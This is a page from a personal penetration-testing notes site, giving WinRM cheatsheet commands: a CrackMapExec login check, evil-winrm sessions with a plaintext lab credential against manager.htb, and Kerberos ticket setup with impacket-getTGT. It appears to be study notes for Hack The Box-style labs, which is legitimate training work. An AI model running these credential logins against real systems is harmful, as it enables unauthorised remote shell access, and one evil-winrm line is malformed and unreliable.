Dado1513
  • Dado1513 Pentest Notes
  • Introduction & Documentation
  • Pentesting Methodologies
  • External Recon Pentesting
  • Brute Force
  • LotL - Living off the Land
  • Pivoting Tunnelling and Port Forward
  • Active Directory
    • ๐Ÿ› ๏ธActive Directory Enumeration & Attacks
    • ๐Ÿ› ๏ธACL/ACE Abuse
    • ๐Ÿ› ๏ธADCS
    • Kerberos Attack Cheatsheet
    • ๐Ÿ› ๏ธTrust Attacks
  • Linux Pentesting
    • Linux Privilege Escalation
  • Windows Pentesting
    • Windows Privilege Escalation
  • Mobile Pentesting
    • ๐Ÿ› ๏ธAndroid Application Pentesting
    • ๐Ÿ› ๏ธiOS Application Pentesting
  • Cloud Pentest
    • ๐Ÿ› ๏ธCloud Pentesting
  • Wireless Pentesting
    • ๐Ÿ› ๏ธWiFi Pentesting
  • Web Pentesting
    • ๐Ÿ› ๏ธXSS Cheatsheet
    • ๐Ÿ› ๏ธSQL Injection
  • OSINT
    • Google Dorks
  • Network Services Pentest
    • Attacking Common Services
    • ๐Ÿ› ๏ธ139,445 SMB
    • ๐Ÿ› ๏ธ161,162,10161,10162- Pentesting SNMP
    • ๐Ÿ› ๏ธwinrm
  • Tools
    • NetExec
    • chisel
    • bloodyAD
    • PowerView
    • certipy
    • sqlmap
    • mimikatz
    • mSFVenom Cheatsheet
    • Ligolo-ng
    • Rubeus
    • ldapsearch
Powered by GitBook
On this page
  1. Network Services Pentest

winrm

CME

cme winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'    

evil-winrm

  • simple connection

evil-winrm -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -i manager.htb
  • connection using kerberos

export KRB5CCNAME=user.ccache
# modify /etc/krb5.conf
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/hack-the-box/machines]
โ””โ”€$ cat /etc/krb5.conf                                                                   
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }
[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
# Get ticket
impacket-getTGT domain/username:'Password' -dc-ip dc01.infiltrator.htb

evil-winrm -u 'user.ccache' -p  -i domain.local -r domain.local
Previous161,162,10161,10162- Pentesting SNMPNextNetExec

Last updated 3 months ago

๐Ÿ› ๏ธ